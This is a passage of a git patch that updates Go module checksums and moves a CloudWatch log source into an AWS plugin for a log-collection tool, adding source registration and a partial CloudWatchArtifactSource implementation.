h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg= +github.com/jackc/pgproto3/v2 v2.3.3 h1:1HLSx5H+tXR9pW3in3zaztoEwQYRC9SQaYUHjTSUOag= +github.com/jackc/pgproto3/v2 v2.3.3/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA= +github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a h1:bbPeKD0xmW/Y25WS6cokEszi5g+S0QxI/d45PkRi7Nk= +github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a/go.mod h1:5TJZWKEWniPve33vlWYSoGYefn3gLQRzjfDlhSJ9ZKM= github.com/jhump/protoreflect v1.15.1 h1:HUMERORf3I3ZdX05WaQ6MIpd/NJ434hTp5YiKgfCL6c= github.com/jhump/protoreflect v1.15.1/go.mod h1:jD/2GMKKE6OqX8qTjhADU1e6DShO+gavG9e0Q693nKo= github.com/jmespath/go-jmespath v0.4.0 h1:BEgLn5cpjn8UN1mAw4NjwDrS35OdebyEtFe+9YPoQUg= github.com/jmespath/go-jmespath v0.4.0/go.mod h1:T8mJZnbsbmF+m6zOOFylbeCJqk5+pHWvzYPziyZiYoo= github.com/jmespath/go-jmespath/internal/testify v1.5.1 h1:shLQSRRSCCPj3f2gpwzGwWFoC7ycTf1rcQZHOlsJ6N8= github.com/jmespath/go-jmespath/internal/testify v1.5.1/go.mod h1:L3OGu8Wl2/fWfCI6z80xFu9LTZmf1ZRjMHUOPmWr69U= +github.com/karrick/gows v0.3.0 h1:/FGSuBiJMUqNOJPsAdLvHFg7RnkFoWBS8USpdco5ONQ= +github.com/karrick/gows v0.3.0/go.mod h1:kdZ/jfdo8yqKYn+BMjBkhP+/oRKUABR1abaomzRi/n8= +github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI= +github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= +github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= +github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= +github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= +github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= +github.com/leodido/go-urn v1.2.4 h1:XlAE/cm/ms7TE/VMVoduSpNBoyc2dOxHs5MZSwAN63Q= +github.com/leodido/go-urn v1.2.4/go.mod h1:7ZrI8mTSeBSHl/UaRyKQW1qZeMgak41ANeCNaVckg+4= github.com/logrusorgru/aurora v2.0.3+incompatible h1:tOpm7WcpBTn4fjmVfgpQq0EfczGlG91VSDkswnjF5A8= github.com/logrusorgru/aurora v2.0.3+incompatible/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4= github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= @@ -160,6 +213,8 @@ github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= github.com/mitchellh/go-testing-interface v1.14.1 h1:jrgshOhYAUVNMAJiKbEu7EqAwgJJ2JqpQmpLJOu07cU= github.com/mitchellh/go-testing-interface v1.14.1/go.mod h1:gfgS7OtZj6MA4U1UrDRp04twqAjfvlZyCfX3sDjEym8= +github.com/mitchellh/go-wordwrap v1.0.0 h1:6GlHJ/LTGMrIJbwgdqdl2eEH8o+Exx/0m8ir9Gns0u4= +github.com/mitchellh/go-wordwrap v1.0.0/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/oklog/run v1.0.0 h1:Ru7dDtJNOyC66gQ5dQmaCa0qIsAUFY3sFpK1Xk8igrw= @@ -176,6 +231,10 @@ github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJ github.com/rs/xid v1.5.0 h1:mKX4bl4iPYJtEIxp6CYiUuLQ/8DYMoz0PUdtGgMFRVc= github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/sergi/go-diff v1.3.2-0.20230802210424-5b0b94c5c0d3 h1:n661drycOFuPLCN3Uc8sB6B/s6Z4t2xvBgU1htSHuq8= +github.com/sergi/go-diff v1.3.2-0.20230802210424-5b0b94c5c0d3/go.mod h1:A0bzQcvG0E7Rwjx0REVgAGH58e96+X0MeOfepqsbeW4= +github.com/shiena/ansicolor v0.0.0-20230509054315-a9deabde6e02 h1:v9ezJDHA1XGxViAUSIoO/Id7Fl63u6d0YmsAm+/p2hs= +github.com/shiena/ansicolor v0.0.0-20230509054315-a9deabde6e02/go.mod h1:RF16/A3L0xSa0oSERcnhd8Pu3IXSDZSK2gmGIMsttFE= github.com/shirou/gopsutil v3.21.11+incompatible h1:+1+c1VGhc88SSonWP6foOcLhvnKlUeu/erjjvaPEYiI= github.com/shirou/gopsutil v3.21.11+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA= github.com/spf13/cobra v1.7.0 h1:hyqWnYt1ZQShIddO5kBpj3vu05/++x6tJ6dg8EC572I= @@ -185,10 +244,14 @@ github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= +github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= +github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= +github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.2/go.mod h1:R6va5+xMeoiuVRoj+gSkQ7d3FALtqAAGI1FQKckRals= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= +github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= github.com/tklauser/go-sysconf v0.3.9 h1:JeUVdAOWhhxVcU6Eqr/ATFHgXk/mmiItdKeJPev3vTo= @@ -201,9 +264,13 @@ github.com/turbot/go-kit v0.10.0-rc.0 h1:kd+jp2ibbIV33Hc8SsMAN410Dl9Pz6SJ40axbKU github.com/turbot/go-kit v0.10.0-rc.0/go.mod h1:fFQqR59I5z5JeeBLfK1PjSifn4Oprs3NiQx0CxeSJxs= github.com/turbot/steampipe-plugin-code v0.7.0 h1:SROYIo/TI/Q/YNfXK+sAIS71umypUFm1Uz851TmoJkM= github.com/turbot/steampipe-plugin-code v0.7.0/go.mod h1:GvdjncWum4sZNmR0iM03SKkIzl7aZKAFtIsyAR+z4YI= +github.com/turbot/terraform-components v0.0.0-20231108031935-358f803c1a8b h1:Rl3YjN+sveHb51BlV3I48wsxsdBIhcS33CnZTM+lmLI= +github.com/turbot/terraform-components v0.0.0-20231108031935-358f803c1a8b/go.mod h1:5hzpfalEjfcJWp9yq75/EZoEu2Mzm34eJAPm3HOW2tw= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= github.com/yusufpapurcu/wmi v1.2.2 h1:KBNDSne4vP5mbSWnJbO+51IMOXJB67QiYCSBrubbPRg= github.com/yusufpapurcu/wmi v1.2.2/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0= +github.com/zclconf/go-cty v1.14.3 h1:1JXy1XroaGrzZuG6X9dt7HL6s9AwbY+l4UNL8o5B6ho= +github.com/zclconf/go-cty v1.14.3/go.mod h1:VvMs5i0vgZdhYawQNq5kePSpLAoz8u1xvZgrPIxfnZE= go.opencensus.io v0.24.0 h1:y73uSU6J157QMP2kn2r30vwW1A2W2WFwSCGnAVxeaD0= go.opencensus.io v0.24.0/go.mod h1:vNK8G9p7aAivkbmorf4v+7Hgx+Zs0yY+0fOtgBfjQKo= go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.49.0 h1:4Pp6oUg3+e/6M4C0A/3kJ2VYa++dsWVTtGgLVj5xtHg= @@ -214,8 +281,8 @@ go.opentelemetry.io/otel v1.24.0 h1:0LAOdjNmQeSTzGBzduGe/rU4tZhMwL5rWgtp9Ku5Jfo= go.opentelemetry.io/otel v1.24.0/go.mod h1:W7b9Ozg4nkF5tWI5zsXkaKKDjdVjpD4oAt9Qi/MArHo= go.opentelemetry.io/otel/metric v1.24.0 h1:6EhoGWWK28x1fbpA4tYTOWBkPefTDQnb8WSGXlc88kI= go.opentelemetry.io/otel/metric v1.24.0/go.mod h1:VYhLe1rFfxuTXLgj4CBiyz+9WYBA8pNGJgDcSFRKBco= -go.opentelemetry.io/otel/sdk v1.22.0 h1:6coWHw9xw7EfClIC/+O31R8IY3/+EiRFHevmHafB2Gw= -go.opentelemetry.io/otel/sdk v1.22.0/go.mod h1:iu7luyVGYovrRpe2fmj3CVKouQNdTOkxtLzPvPz1DOc= +go.opentelemetry.io/otel/sdk v1.24.0 h1:YMPPDNymmQN3ZgczicBY3B6sf9n62Dlj9pWD3ucgoDw= +go.opentelemetry.io/otel/sdk v1.24.0/go.mod h1:KVrIYw6tEubO9E96HQpcmpTKDVn9gdv35HoYiQWGDFg= go.opentelemetry.io/otel/trace v1.24.0 h1:CsKnnL4dUAr/0llH9FKuc698G04IrpWV0MQA/Y1YELI= go.opentelemetry.io/otel/trace v1.24.0/go.mod h1:HPc3Xr/cOApsBI154IU0OI0HJexz+aw5uPdbs3UCjNU= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= @@ -230,6 +297,8 @@ golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTk golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= +golang.org/x/mod v0.17.0 h1:zY54UmvipHiNd+pm+m0x9KhZ9hl1/7QNMyxXbc6ICqA= +golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -243,8 +312,8 @@ golang.org/x/net v0.1.0/go.mod h1:Cx3nUiGt4eDBEyega/BKRp+/AlGL8hYe7U9odMt2Cco= golang.org/x/net v0.27.0 h1:5K3Njcw06/l2y9vpGCSdcxWOYHOUk3dVNGDXN+FvAys= golang.org/x/net v0.27.0/go.mod h1:dDi0PyhWNoiUOrAS8uXv/vnScO4wnHQO4mj9fn/RytE= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= -golang.org/x/oauth2 v0.18.0 h1:09qnuIAgzdx1XplqJvW6CQqMCtGZykZWcXzPMPUusvI= -golang.org/x/oauth2 v0.18.0/go.mod h1:Wf7knwG0MPoWIMMBgFlEaSUDaKskp0dCfrlJRJXbBi8= +golang.org/x/oauth2 v0.21.0 h1:tsimM75w1tF/uws5rbeHzIWxEqElMehnc+iW793zsZs= +golang.org/x/oauth2 v0.21.0/go.mod h1:XYTD2NtWslqkgxebSiOHnXEap4TF09sJSc7H1sXbhtI= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -254,6 +323,7 @@ golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190626221950-04f50cda93cb/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -274,10 +344,11 @@ golang.org/x/sys v0.22.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.1.0/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.22.0 h1:BbsgPEJULsl2fV/AT3v15Mjva5yXKQDyKf+TbDz7QJk= +golang.org/x/term v0.22.0/go.mod h1:F3qCibpT5AMpCRfhfT53vVJwhLtIVHhB9XDjfFvnMI4= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= -golang.org/x/text v0.3.8/go.mod h1:E6s5w1FMmriuDzIBO73fBruAKo1PCIq6d2Q6DHfQ8WQ= golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.16.0 h1:a94ExnEXNtEwYLGJSIUxnWoxoRz/ZcCsV63ROupILh4= golang.org/x/text v0.16.0/go.mod h1:GhwF1Be+LQoKShO3cGOHzqOgRrGaYc9AvblQOmPVHnI= @@ -290,23 +361,23 @@ golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3 golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= +golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d h1:vU5i/LfpvrRCpgM/VPfJLg5KjxD3E+hfT1SH+d9zLwg= +golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20231012003039-104605ab7028 h1:+cNy6SZtPcJQH3LJVLOSmiC7MMxXNOb3PU/VUEz+EhU= golang.org/x/xerrors v0.0.0-20231012003039-104605ab7028/go.mod h1:NDW/Ps6MPRej6fsCIbMTohpP40sJ/P/vI1MoTEGwX90= -google.golang.org/api v0.169.0 h1:QwWPy71FgMWqJN/l6jVlFHUa29a7dcUy02I8o799nPY= -google.golang.org/api v0.169.0/go.mod h1:gpNOiMA2tZ4mf5R9Iwf4rK/Dcz0fbdIgWYWVoxmsyLg= +google.golang.org/api v0.189.0 h1:equMo30LypAkdkLMBqfeIqtyAnlyig1JSZArl4XPwdI= +google.golang.org/api v0.189.0/go.mod h1:FLWGJKb0hb+pU2j+rJqwbnsF+ym+fQs73rbJ+KAUgy8= google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= -google.golang.org/appengine v1.6.8 h1:IhEN5q69dyKagZPYMSdIjS2HqprW324FRQZJcGqPAsM= -google.golang.org/appengine v1.6.8/go.mod h1:1jJ3jBArFh5pcgW8gCtRJnepW8FzD1V44FJffLiz/Ds= google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo= -google.golang.org/genproto v0.0.0-20240213162025-012b6fc9bca9 h1:9+tzLLstTlPTRyJTh+ah5wIMsBW5c4tQwGTN3thOW9Y= -google.golang.org/genproto v0.0.0-20240213162025-012b6fc9bca9/go.mod h1:mqHbVIp48Muh7Ywss/AD6I5kNVKZMmAa/QEW58Gxp2s= -google.golang.org/genproto/googleapis/api v0.0.0-20240318140521-94a12d6c2237 h1:RFiFrvy37/mpSpdySBDrUdipW/dHwsRwh3J3+A9VgT4= -google.golang.org/genproto/googleapis/api v0.0.0-20240318140521-94a12d6c2237/go.mod h1:Z5Iiy3jtmioajWHDGFk7CeugTyHtPvMHA4UTmUkyalE= +google.golang.org/genproto v0.0.0-20240722135656-d784300faade h1:lKFsS7wpngDgSCeFn7MoLy+wBDQZ1UQIJD4UNM1Qvkg= +google.golang.org/genproto v0.0.0-20240722135656-d784300faade/go.mod h1:FfBgJBJg9GcpPvKIuHSZ/aE1g2ecGL74upMzGZjiGEY= +google.golang.org/genproto/googleapis/api v0.0.0-20240722135656-d784300faade h1:WxZOF2yayUHpHSbUE6NMzumUzBxYc3YGwo0YHnbzsJY= +google.golang.org/genproto/googleapis/api v0.0.0-20240722135656-d784300faade/go.mod h1:mw8MG/Qz5wfgYr6VqVCiZcHe/GJEfI+oGGDCohaVgB0= google.golang.org/genproto/googleapis/rpc v0.0.0-20240722135656-d784300faade h1:oCRSWfwGXQsqlVdErcyTt4A93Y8fo0/9D4b1gnI++qo= google.golang.org/genproto/googleapis/rpc v0.0.0-20240722135656-d784300faade/go.mod h1:Ue6ibwXGpU+dqIcODieyLOcgj7z8+IcskoNIgZxtrFY= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= @@ -325,11 +396,10 @@ google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2 google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= -google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= -google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.34.2 h1:6xV6lTsCfpGD21XK49h7MhtcApnLqkfYgPcdHftf6hg= google.golang.org/protobuf v1.34.2/go.mod h1:qYOHts0dSfpeUzUFpOMr/WGzszTmLH+DiWniOlNbLDw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= From 7f85a660ff32d0bc24d8565abe0128f2abef77a8 Mon Sep 17 00:00:00 2001 From: kai Date: Tue, 30 Jul 2024 12:25:18 +0100 Subject: [PATCH 032/180] move CloudwatchSource to aws plugin --- aws/plugin.go | 18 +- aws_collection/vpc_flow_log_collection.go | 3 +- aws_source/cloudwatch_artifact_source.go | 357 ++++++++++++++++++++++ aws_source/cloudwatch_mapper.go | 46 +++ aws_source/cloudwatch_source.go | 26 ++ aws_source/cloudwatch_source_config.go | 25 ++ 6 files changed, 471 insertions(+), 4 deletions(-) create mode 100644 aws_source/cloudwatch_artifact_source.go create mode 100644 aws_source/cloudwatch_mapper.go create mode 100644 aws_source/cloudwatch_source.go create mode 100644 aws_source/cloudwatch_source_config.go diff --git a/aws/plugin.go b/aws/plugin.go index 6a8a59ae..0e42adfd 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -3,7 +3,9 @@ package aws import ( "github.com/turbot/tailpipe-plugin-aws/aws_collection" "github.com/turbot/tailpipe-plugin-aws/aws_source" + "github.com/turbot/tailpipe-plugin-sdk/artifact" "github.com/turbot/tailpipe-plugin-sdk/plugin" + "github.com/turbot/tailpipe-plugin-sdk/row_source" "log/slog" "time" ) @@ -19,14 +21,24 @@ func NewPlugin() (plugin.TailpipePlugin, error) { time.Sleep(10 * time.Second) slog.Info("YAWN") + // register the collections, sources and mappers that we provide + collections := []func() plugin.Collection{aws_collection.NewCloudTrailLogCollection, aws_collection.NewVPCFlowLogLogCollection} + sources := []func() row_source.RowSource{aws_source.NewCloudwatchSource} + mappers := []func() artifact.Mapper{aws_source.NewCloudtrailMapper} + // register collections which we support - err := p.RegisterCollections(aws_collection.NewCloudTrailLogCollection, aws_collection.NewVPCFlowLogLogCollection) - if err != nil { + if err := p.RegisterCollections(collections...); err != nil { + return nil, err + } + // register sources + if err := p.RegisterSources(sources...); err != nil { return nil, err } // register artifact mappers - err = p.RegisterArtifactMappers(aws_source.NewCloudtrailMapper) + if err := p.RegisterArtifactMappers(mappers...); err != nil { + return nil, err + } return p, nil } diff --git a/aws_collection/vpc_flow_log_collection.go b/aws_collection/vpc_flow_log_collection.go index 5c6486e4..233d48e6 100644 --- a/aws_collection/vpc_flow_log_collection.go +++ b/aws_collection/vpc_flow_log_collection.go @@ -2,6 +2,7 @@ package aws_collection import ( "fmt" + "github.com/turbot/tailpipe-plugin-aws/aws_source" "time" "github.com/rs/xid" @@ -30,9 +31,9 @@ func (c *VPCFlowLogLogCollection) Identifier() string { } func (c *VPCFlowLogLogCollection) SupportedSources() []string { - // TODO #source do we need to to specify the type or artifact source supported? return []string{ row_source.ArtifactRowSourceIdentifier, + aws_source.CloudwatchSourceIdentifier, } } diff --git a/aws_source/cloudwatch_artifact_source.go b/aws_source/cloudwatch_artifact_source.go new file mode 100644 index 00000000..99bb07c0 --- /dev/null +++ b/aws_source/cloudwatch_artifact_source.go @@ -0,0 +1,357 @@ +package aws_source + +import ( + "context" + "encoding/json" + "fmt" + "github.com/turbot/tailpipe-plugin-sdk/artifact" + "log/slog" + "os" + "path" + "path/filepath" + + "github.com/aws/aws-sdk-go-v2/config" + "github.com/aws/aws-sdk-go-v2/credentials" + "github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs" + cloudwatch_types "github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs/types" + typehelpers "github.com/turbot/go-kit/types" + "github.com/turbot/tailpipe-plugin-sdk/context_values" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/paging" + "github.com/turbot/tailpipe-plugin-sdk/rate_limiter" + "github.com/turbot/tailpipe-plugin-sdk/types" +) + +// CloudWatchArtifactSource is a [Source] implementation that reads logs from AWS CloudWatch +// and writes them to a temp JSON file +type CloudWatchArtifactSource struct { + artifact.SourceBase + + config *AwsCloudWatchSourceConfig + client *cloudwatchlogs.Client + limiter *rate_limiter.APILimiter +} + +func NewAwsCloudWatchSource(ctx context.Context, config *AwsCloudWatchSourceConfig) (*CloudWatchArtifactSource, error) { + s := &CloudWatchArtifactSource{ + config: config, + } + s.TmpDir = path.Join(config.TmpDir, "tailpipe", fmt.Sprintf("cloudwatch-%s", config.LogGroupName)) + + if err := s.ValidateConfig(); err != nil { + return nil, fmt.Errorf("invalid config: %w", err) + } + + // initialize client + client, err := s.getClient(ctx) + if err != nil { + return nil, err + } + s.client = client + + // TODO NEEDED? + s.limiter = rate_limiter.NewAPILimiter(&rate_limiter.Definition{ + Name: "cloudwatch_limiter", + FillRate: 5, + BucketSize: 5, + }) + + return s, nil +} + +func (s *CloudWatchArtifactSource) Identifier() string { + return artifact.AWSCloudwatchSourceIdentifier +} + +// Mapper returns a function that creates a new [Mapper] required by this source +// [CloudwatchMapper] knows how to extract the row and metadata fields from the JSON that we save +func (s *CloudWatchArtifactSource) Mapper() func() artifact.Mapper { + return NewCloudwatchMapper +} + +// Close deletes the temp directory and all files +func (s *CloudWatchArtifactSource) Close() error { + // delete the temp dir and all files + return os.RemoveAll(s.TmpDir) +} + +// ValidateConfig checks the config for required fields +func (s *CloudWatchArtifactSource) ValidateConfig() error { + // #TODO #config - validate the config + return nil +} + +// DiscoverArtifacts gets the log streams for the configured log group and log stream prefix, +// within the configured time range, and respecting the time range in the paging data +func (s *CloudWatchArtifactSource) DiscoverArtifacts(ctx context.Context) error { + paging, _ := 